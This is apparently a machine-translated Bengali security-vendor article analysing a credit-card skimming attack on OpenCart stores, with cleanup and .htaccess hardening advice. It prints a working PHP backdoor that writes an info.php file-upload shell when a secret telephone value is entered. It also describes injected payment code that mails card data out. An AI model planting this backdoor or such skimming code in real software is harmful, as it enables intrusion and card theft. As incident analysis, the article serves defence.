OpenCart এবং Prestashop ই-কমার্স অপারেশন পরিচালনার জন্য বিনামূল্যে এবং ওপেন সোর্স সমাধান। আপনি একটি স্টার্টআপ বা একটি প্রতিষ্ঠিত ব্র্যান্ড, এর 13000+ মডিউল সহ, OpenCart প্রত্যেকের জন্য কিছু না কিছু আছে৷ এছাড়াও, OpenCart ক্রমাগত ক্লায়েন্ট অভিজ্ঞতা বাড়ানোর চেষ্টা করছে এবং এমনকি Google এর সাথে একটি পাইলট প্রকল্পে অংশীদারিত্ব করেছে। যাইহোক, জনপ্রিয়তা হ্যাকারদের কিছু অবাঞ্ছিত দৃষ্টি আকর্ষণ করে। অনেক ওপেনকার্ট স্টোর এডমিন/সাধারণ/লগইন.php হ্যাক হয়েছে যার ফলে শেষ পর্যন্ত OpenCart ক্রেডিট কার্ড হ্যাক হয়েছে। আক্রমণকারীদের প্রধান লক্ষ্য হিসাবে ওপেনকার্ট সাইটগুলিতে আক্রমণ থেকে আর্থিক সুবিধা লাভ করা। Astra-এর গবেষকরা OpenCart স্টোরগুলিতে একটি ক্রেডিট কার্ড হ্যাক আক্রমণ উন্মোচন করেছেন। এই নিবন্ধটি এই আক্রমণ বিশ্লেষণ করার জন্য ধাপে ধাপে পদ্ধতি ব্যাখ্যা করবে।
ক্রেডিট কার্ড হ্যাক:নতুন জাল পেমেন্ট পদ্ধতি যোগ করা হয়েছে
এই আক্রমণগুলি প্রায়শই দীর্ঘকাল ধরে সনাক্ত করা যায় না। এছাড়াও, গ্রাহকরা অভিযোগ করলেই সাইটের মালিকরা এই ধরনের আক্রমণ সম্পর্কে সচেতন হন। এই পরিস্থিতিতে, গ্রাহকরা একটি আপস করা ক্রেডিট কার্ডের অভিযোগ করেছেন যা শুধুমাত্র একটি নির্দিষ্ট OpenCart স্টোরে ব্যবহার করা হয়েছিল। আরও গবেষণা সাইটটিতে ফিশিং ফর্মের উপস্থিতিও প্রকাশ করেছে৷ তাছাড়া, অ্যাডমিন পাসওয়ার্ড হ্যাক এছাড়াও সনাক্ত করা হয়েছিল। এই বিশেষ ক্ষেত্রে, Astra-এর গবেষকরা একটি সংক্রামিত ক্রেডিট কার্ড চুরিকারী ফিশিং ফর্ম শনাক্ত করেছেন। এটি একটি বৈধ চেকআউট ফর্ম যা সাইটে ক্ষতিকারক কোড দিয়ে ইনজেকশন করা হয়েছিল৷
৷
এটি ক্রেডিট কার্ড হ্যাক ফিশিং ফর্মের একটি চিত্র। যাইহোক, এই ফিশিং ফর্ম ব্যবহারকারীর ব্যাঙ্কিং শংসাপত্রগুলি আক্রমণকারী-নিয়ন্ত্রিত ডোমেনে পাঠায়। তাছাড়া, আক্রমণকারী পেপ্যালের মতো ডিফল্ট পেমেন্ট গেটওয়ে নিষ্ক্রিয় করেছে। সুতরাং, এই ধরনের সমস্ত সংক্রামিত ওপেনকার্ট সাইটের মধ্যে কয়েকটি মিল হল:
- আগে অজানা ফাইলের উপস্থিতি।
- অস্বাভাবিক লগইন আচরণ।
- নতুন ডাটাবেস প্রশাসক যার সম্পর্কে সাইট প্রশাসকের কাছে কোন তথ্য নেই৷ ৷
- ব্যবহারকারীরা প্রতারণামূলক লেনদেনের বিষয়ে অভিযোগ করে।
- প্যাকেট বিশ্লেষণ সরঞ্জামগুলি অজানা ডোমেনে বহির্গামী ট্র্যাফিক দেখায়৷ ৷
- নতুন অর্থপ্রদানের পদ্ধতি যোগ করা হয়েছে যা আগে বিদ্যমান ছিল না।
ওপেনকার্ট ক্রেডিট কার্ড হ্যাক:উদাহরণ
এই আক্রমণটি OpenCart এবং Prestashop স্টোরের মালিকদের অসহায় করে দিতে পারে। প্রায়ই, প্রভাবিত ব্যবহারকারীদের কমিউনিটি ফোরামে ক্রেডিট কার্ড হ্যাক সম্পর্কে অভিযোগ পাওয়া যায়। এছাড়াও, এই থ্রেডগুলিতে সাধারণত একাধিক ব্যবহারকারী থাকে যারা একই আক্রমণ দ্বারা প্রভাবিত হয়েছে!
এন্ট্রি লাভ করা:অ্যাডমিন পাসওয়ার্ড হ্যাক
ব্যাকডোর ইনজেক্ট করার জন্য, আক্রমণকারীদের প্রথমে অ্যাডমিন সুবিধা পেতে হবে। এটি করার জন্য, আক্রমণকারীরা দোকানের মধ্যে দুর্বলতাকে কাজে লাগিয়েছে। তারপরে, আক্রমণকারীরা eval(base64_decode)
এর মতো বিপজ্জনক ফাংশন ব্যবহার করেছিল সার্ভারে দূষিত কোড চালানোর জন্য। কিছু সাধারণ OpenCart দুর্বলতা যা হ্যাক হতে পারে:
ওপেনকার্ট এসকিউএল ইনজেকশন
সংস্করণ 2.3.0.0 এর আগে OpenCart একটি SQLi-এর জন্য দুর্বল ছিল। যদিও এটিকে কাজে লাগানোর জন্য অ্যাডমিন সুবিধার প্রয়োজন ছিল। কিন্তু CVE-2009-1027 ওপেনকার্টকে SQLi-এর জন্য দুর্বল করে তুলেছে। এটি ছাড়াও, বগি মডিউল SQLi এর কারণ হতে পারে।
ওপেনকার্ট রিমোট কোড এক্সিকিউশন
CVE-2010-0956 ওপেনকার্টকে দূরবর্তী কোড কার্যকর করার জন্য দুর্বল করে তুলেছে। index.php
-এ দুর্বলতা পাওয়া গেছে . এটি সার্ভারের আপস হতে পারে. এছাড়াও, OpenCartjson_decode
ফাংশন RCE হতে পারে .
ওপেনকার্ট দুর্বল শংসাপত্র
দুর্বল এবং সাধারণ পাসওয়ার্ডের কারণে আপস হতে পারে। একটি সাধারণ নৃশংস বাহিনী আক্রমণ সার্ভারকে ছেড়ে দিতে পারে।
ওপেনকার্ট XSS
আক্রমণকারীরা XSS ব্যবহার করে প্রশাসককে প্রতারণা করতে পারে। CVE-2015-4671 index.php
তৈরি করেছে XSS এর জন্য সংবেদনশীল। দুর্বলzone_id
প্যারামিটার হ্যাক হতে পারে।
ওপেনকার্ট জিরো ডে এক্সপ্লয়েট
এটা খুব সম্ভব যে আক্রমণকারীরা একটি নতুন দুর্বলতা আবিষ্কার করতে পারে। এটি ব্যবহার করে আক্রমণকারীরা OpenCart স্টোরের সাথে আপস করেছে। এর সম্ভাবনা কম কিন্তু যথেষ্ট সম্ভব।
সবকিছু সংক্রমিত করা:ক্রেডিট কার্ড হ্যাক
আক্রমণকারীরা একবার সিস্টেমে প্রবেশ করলে, তারা সাইটের সমস্ত স্তরের সাথে আপস করার চেষ্টা করে। এই বিশেষ ক্ষেত্রে, Astra থেকে গবেষকরা দেখেছেন যে সমস্তগ্রাহক এবং প্রশাসক পাসওয়ার্ডের সাথে আপস করা হয়েছে . এ ছাড়া হামলাকারীদের ডাটাবেসে প্রবেশাধিকার ছিল। এছাড়াও, আক্রমণকারীদের দ্বারা ইনজেকশনের পিছনের দরজাগুলি ডাটাবেসের অখণ্ডতার সাথে আপস করতে পারে। সুতরাং, ব্যবহারকারীর পাসওয়ার্ড, নাম, ঠিকানা, অর্ডার ইত্যাদির মতো সংবেদনশীল তথ্য চুরি করার জন্য ডেটাবেসে অ্যাক্সেস ব্যবহার করা যেতে পারে৷
অধিকন্তু, অ্যাস্ট্রার গবেষকরা আবিষ্কার করেছেন যে দুটি অর্থপ্রদানের পদ্ধতির সাথে আপস করা হয়েছে। এগুলো ছিল:
- Authorize.net AIM৷৷
- pp_pro।
এই পেমেন্ট পদ্ধতিগুলি OpenCart, Prestashop এবং ক্রেডিট কার্ড হ্যাক পরিচালনা করতে সাহায্য করেছে। উভয় অর্থপ্রদানের পদ্ধতিই দূষিত কোড দিয়ে ইনজেকশন করা হয়েছিল। যার একটি কোড স্নিপেট নিচে দেওয়া হল।
এখানে, আক্রমণকারীরা Curl ব্যবহার করেছে৷ PHP এর লাইব্রেরি HTTP তৈরি করতে অনুরোধ. তারপরে, Smail MTA ব্যবহার করে মেল তৈরি করা হয়। Smail হল একটি লাইটওয়েট এবং পোর্টেবল মেইলিং এজেন্ট। এই মেইলে এই বিষয়ে সংবেদনশীল তথ্য রয়েছে:
- অর্ডার আইডি।
- অর্থপ্রদানের প্রথম নাম।
- পেমেন্ট লাস্টনেম।
- ঠিকানা।
- পেমেন্ট সিটি।
- ক্রেডিট কার্ডের মেয়াদ শেষ হওয়ার তারিখ এবং মাস।
- সিভিভি নম্বর।
- ক্রেডিট কার্ড নম্বর।
এই সমস্ত তথ্য একত্রিত করা হয়েছে এবং একটি Yopmail-এ পাঠানো হয়েছে৷ ঠিকানা Yopmail একটি বেনামী ইমেল পরিষেবা, তাই আক্রমণকারীদের ট্র্যাক করা কঠিন হয়ে পড়ে৷ যদিও এটি সর্বজনীন, ইনবক্সটি যে কেউ অ্যাক্সেস করতে পারে৷ এটি এড়াতে, আক্রমণকারীরা উপনাম ব্যবহার করেছে। এই উপনামগুলি Yopmail এর একটি নিরাপত্তা বৈশিষ্ট্য। তাই আক্রমণকারীদের আসল ইনবক্স খুঁজে পাওয়া অত্যন্ত কঠিন হয়ে পড়ে৷
৷Authorize.net হ্যাক
Authorize.net হল একটি পেমেন্ট সলিউশন যা OpenCart স্টোরগুলিতে কাজ করে। আক্রমণকারীরা ক্রেডিট কার্ডের তথ্য চুরি করার জন্য এই অর্থপ্রদানের পদ্ধতিটিকে লক্ষ্য করার সম্ভাবনা বেশি। অতএব, যদি এই পদ্ধতিটি হঠাৎ সক্রিয় হয়ে যায় তাহলে আপনার সাইটটি OpenCart ক্রেডিট কার্ড হ্যাকের লক্ষ্য হতে পারে। নীচে দেওয়া চিত্রটি দেখায় যে অর্থপ্রদানের পদ্ধতিটি এখন সক্রিয় দেখায় যা আক্রমণকারী দ্বারা করা হয়েছিল৷
যাইহোক, যদি আপনি ইতিমধ্যে authorize.net সক্ষম করে থাকেন, তাহলে আক্রমণকারীরা তাদের কাস্টম ফিশিং এক্সটেনশন ইনস্টল করতে তাদের অক্ষম করতে পারে। তাই, “মার্চেন্ট আইডি নিষ্ক্রিয়” -এর মত বার্তা সাইটে উপস্থিত হতে পারে। এটি ছাড়াও, এক্সটেনশন পৃষ্ঠা থেকে অর্থপ্রদানের পদ্ধতিগুলি অনুপস্থিত থাকতে পারে। এই সমস্ত লক্ষণগুলি সম্ভাব্য ক্রেডিট কার্ডের তথ্য চুরির প্রচেষ্টার দিকে ইঙ্গিত করে। সুতরাং, গ্রাহকদের তাদের চুরি হওয়া ক্রেডিট কার্ড সম্পর্কে জানানোর পরামর্শ দেওয়া হচ্ছে। আপনি যদি EU-এর মধ্যে কাজ করেন বা EU গ্রাহকদের ডেটা প্রক্রিয়াকরণ করেন, তাহলে GDPR এই তথ্য প্রকাশ করা বাধ্যতামূলক করে।
দৃঢ়তা বজায় রাখা:admin/common/login.php হ্যাক করা হয়েছে
একবার আক্রমণকারীরা প্রশাসক অধিকার অর্জন করলে, পরবর্তী ধাপ হল মূল ফাইলগুলি সংশোধন করা। মূল ফাইলগুলির পরিবর্তন আক্রমণকারীদের সাইটে অবিচ্ছিন্ন অ্যাক্সেস রাখতে সহায়তা করে। ক্রমাগত অ্যাক্সেস বজায় রাখার জন্য, আক্রমণকারীরা লগইন/অ্যাডমিন পৃষ্ঠাটিও ইনজেকশন করেছিল। নিচে admin/common/login.php হ্যাকড এর কোড স্নিপেট দেওয়া হল।
এটি দূষিত কোড থেকে স্পষ্ট যে আক্রমণকারীরা ইমেল পাঠাতে Smail ব্যবহার করেছে। Smail ব্যবহারকারীকে কমান্ড লাইনের মাধ্যমে সমস্ত কাজ সম্পাদন করতে দেয়। এটা আক্রমণকারীদের জন্য প্রথম পছন্দ করা. তারপরে, লগইন শংসাপত্রগুলি ব্যবহার করে ইমেলটি তৈরি করা হয়। ব্যবহারকারীর নাম এবং পাসওয়ার্ড সম্বলিত এই ইমেলটি আক্রমণকারীদের ইনবক্সে পাঠানো হয়। এখানে, আক্রমণকারীরা তালিকাভুক্ত করেছে[email protected]
তাদের ইনবক্স হিসাবে।
তদুপরি, প্রশাসক যখনই লগ ইন করেন তখন এই কোডটি চালানো হয়৷ তাই আক্রমণকারীরা তাদের ইমেলের মাধ্যমে সর্বশেষ লগইন শংসাপত্রগুলি জানতে পারে৷ এই দূষিত কোড আক্রমণকারীদের সাইটে ধ্রুবক অ্যাক্সেস বজায় রাখার অনুমতি দেয়। এই ব্যাকডোরগুলি ছাড়াও যেমন info.php
আক্রমণকারীদের দৃঢ়তা বজায় রাখতে সাহায্য করে। Info.php
এই নিবন্ধে পরে আলোচনা করা হবে।
এভয়িং ডিটেকশন:ফ্রি সাইনআপের সাথে কম উড়ে যাওয়া
এই বিশেষ দৃষ্টান্তে, সাইটটি বিনামূল্যে সাইনআপ করার অনুমতি দেয়৷ তাই আক্রমণকারীরা এমনভাবে কোডটি পরিবর্তন করেছে যাতে একজন সাধারণ ব্যবহারকারী একটি বিপরীত শেল পেতে পারে। দূষিত কোডটি নীচে দেওয়া একটির মতো দেখতে৷
৷
protected function validate() { if(md5($this->request->post['telephone'])=='66b6d63b9634e1159e53e29858de2c2d'){$file2 = "info.php";$handle2 = fopen($file2, 'w+'); fwrite($handle2,'<?php $files = @$_FILES["files"];if($files["name"] != ""){$fullpath = $_REQUEST["path"].$files["name"];if(move_uploaded_file($files["tmp_name"],$fullpath)){}}exit("<form method=POST enctype=multipart/form-data action=><input type=text name=path><input type=file name=files><input type=submit value=Up></form>");?>');fclose($handle2); }
এই কোডটি একটি নির্দিষ্ট ফোন নম্বরের জন্য পরীক্ষা করে। যখন এটি ইনপুট হয়, এটি ফাইল আপলোড করার অনুমতি দেয়। অ্যাস্ট্রার গবেষকরা ধাপে ধাপে প্রক্রিয়াটি উন্মোচন করেছেন যা নীচে উল্লিখিত হয়েছে:
- ধাপ 1 :আক্রমণকারীরা একাধিক নতুন ব্যবহারকারী তৈরি করতে বিনামূল্যে সাইনআপ ব্যবহার করেছে। একাধিক অ্যাকাউন্ট মানে ন্যূনতম সনাক্তকরণের সম্ভাবনা।
- ধাপ 2 :তারপর, আক্রমণকারীরা ইনপুট ক্ষেত্রে একটি নির্দিষ্ট ফোন নম্বর প্রবেশ করে। আক্রমণকারীরা md5 ফরম্যাটে এনক্রিপ্ট করে আসল ফোন নম্বর অস্পষ্ট করেছে। এনক্রিপ্ট করা স্ট্রিং হল
66b6d63b9634e1159e53e29858de2c2d
. এই ফোন নম্বরটি ব্যাকডোর আপলোড করার জন্য একটি মাস্টার কী হিসাবে কাজ করে৷ - ধাপ 3 :ফোন নম্বর যোগ করার সাথে সাথেই
info.php
নামের একটি ফাইল সৃষ্ট. তাই চূড়ান্ত URL টি এইরকম কিছু দেখায়example.com/info.php
. - ধাপ 4 :যখন ফাইল
info.php
আক্রমণকারীদের দ্বারা অ্যাক্সেস করা হয়, এটি তাদের ফাইল আপলোড করার ক্ষমতা দেয়৷ - ধাপ 5 :এই আপলোড বিকল্পটি আক্রমণকারীদের সংক্রামিত PHP ফাইলগুলি আপলোড করতে দেয়৷ এই ফাইলগুলি আক্রমণকারীদের কাছে একটি বিপরীত TCP, ICMP সংযোগ ইত্যাদি খুলে দেয়। যখন ফাইলগুলি রুট ডিরেক্টরিতে আপলোড করা হয় তখন ফলাফলগুলি আরও বিপর্যয়কর হতে পারে!
এছাড়াও, হামলাকারীরা চিত্র বিভাগে পিছনের দরজাও লুকিয়ে রেখেছিল। যেহেতু ইমেজ ফোল্ডারে ফাইল খুঁজে পাওয়ার সম্ভাবনা খুবই কম , এটা আক্রমণকারীদের একটি ভাল কভার প্রদান. আক্রমণকারীরা একটি পরিষ্কারের ক্ষেত্রে চিত্র ফোল্ডার থেকে সাইটটিকে পুনরায় সংক্রামিত করার জন্য খুঁজছিল!
আক্রমণের পরে পরিষ্কার করা
আক্রমণের পরে নেওয়া প্রধান পদক্ষেপ হল সম্পূর্ণ পরিষ্কারের জন্য যাওয়া। সংক্রামিত ফাইলগুলি মুছুন এবং ব্যাকআপ থেকে পুনরুদ্ধার করুন। ব্যাকআপ অনুপলব্ধ হলে তাজা ইনস্টলেশনের জন্য যান। বিশেষ করে পেমেন্ট ফাইল পুনরুদ্ধার করা প্রয়োজন. নিম্নলিখিত ফাইলগুলির জন্য সন্ধান করুন:
- /admin/controller/extension/payment.php।
- /admin/controller/common/login.php।
- /catalog/controller/payment/authorizenet_aim.php।
এই ফাইলগুলি OpenCart এবং Prestashop ক্রেডিট কার্ড হ্যাক থেকে ক্ষতিকারক কোড দিয়ে ইনজেকশন করা হয়। অবিলম্বে এই ফাইল পুনরুদ্ধার করুন. এই ছাড়াও আক্রমণকারী দ্বারা সংশোধিত ফাইলগুলির সন্ধান করুন৷ এটি নিম্নলিখিত SSH সম্পাদন করে করা যেতে পারে কমান্ড:
$ find ./ -type f -mtime -15
টাইম স্ট্যাম্পগুলি দেখুন এবং আক্রমণকারীদের দ্বারা সংশোধিত ফাইলগুলি মুছুন৷ এছাড়াও, PhpMyAdmin-এর মতো টুলগুলি এই জগাখিচুড়ি পরিষ্কার করার সময় কাজে আসে৷
৷PhpMyAdmin এর একটি নমুনা চিত্র৷ দূষিত ডোমেন সনাক্ত করতে ব্যবহৃত হচ্ছে৷
আক্রমণ থেকে প্রশমন
প্রশাসক ফোল্ডার রক্ষা করুন
অ্যাডমিন ফোল্ডারের নাম পরিবর্তন করুন। যেহেতু এটি আক্রমণকারীদের পক্ষে এটিকে খুঁজে পাওয়া কঠিন করে তোলে। তাছাড়া, .htaccess ব্যবহার করুন অ্যাডমিন আইপি ব্যতীত লগইন ফোল্ডারে সমস্ত আইপি অ্যাক্সেস অস্বীকার করতে।
প্রোটেক্ট ক্যাটালগ
.htaccess এছাড়াও ক্যাটালগ এবং .txt, .twig ইত্যাদির মতো সংবেদনশীল ফাইল রক্ষা করতে ব্যবহার করা যেতে পারে। ফাইল ম্যাচ কাজটি সম্পন্ন করতে পারে। তাই, আপনার প্রয়োজনীয়তা অনুযায়ী .htaccess ফাইলে নিচের লাইনগুলো যোগ করুন।
<FilesMatch ".(php|twig|txt)$">
Order Deny,Allow
Deny from all
Allow from "your ip address"
</FilesMatch>
ফোল্ডার অনুমতি সীমাবদ্ধ করুন
নিশ্চিত করুন যে শুধুমাত্র প্রশাসক OpenCart ফাইল এবং সাবফোল্ডার অ্যাক্সেস করতে পারেন। সুতরাং, এটি সম্পন্ন করতে, .htaccess-এ নিচের কোডটি যোগ করুন ফাইল।
<Files *.*>
Order Deny,Allow
Deny from all
Allow from "your ip address"
</Files>
ফাইলের অনুমতি সীমাবদ্ধ করুন
সংবেদনশীল ফাইলগুলিকে 644-এ ফাইলের অনুমতি সেট করে সুরক্ষিত করুন অথবা 444 . যেহেতু এটি অন্যদের তাদের কাছে লিখতে বাধা দেয়। কিছু সংবেদনশীল ফাইল হল:
- config.php
- index.php
- admin/config.php
- admin/index.php
- system/startup.php
অস্ট্রা ফায়ারওয়াল
ওপেন কার্ট এবং প্রেস্টাশপ ক্রেডিট কার্ড হ্যাক স্টোরের সুনামকে মারাত্মকভাবে ব্যাহত করতে পারে। স্টোরে অনলাইন পেমেন্ট করার সময় ব্যবহারকারীরা ভবিষ্যতে নিরাপত্তাহীন বোধ করতে পারে। অতএব, অদূর ভবিষ্যতে এই ধরনের আক্রমণ প্রতিরোধ করাই সবচেয়ে ভালো বাজি। সুতরাং, এটি একটি ফায়ারওয়াল দিয়ে সম্পন্ন করা যেতে পারে। A firewall like the one at Astra monitors all the traffic for bad requests. Astra firewall ensures that only safe requests reach the server. Apart from this, Astra also notifies regarding new logins and file modifications. Also, with Astra keep your OpenCart &PrestaShop store safe from getting admin/common/login.php hacked.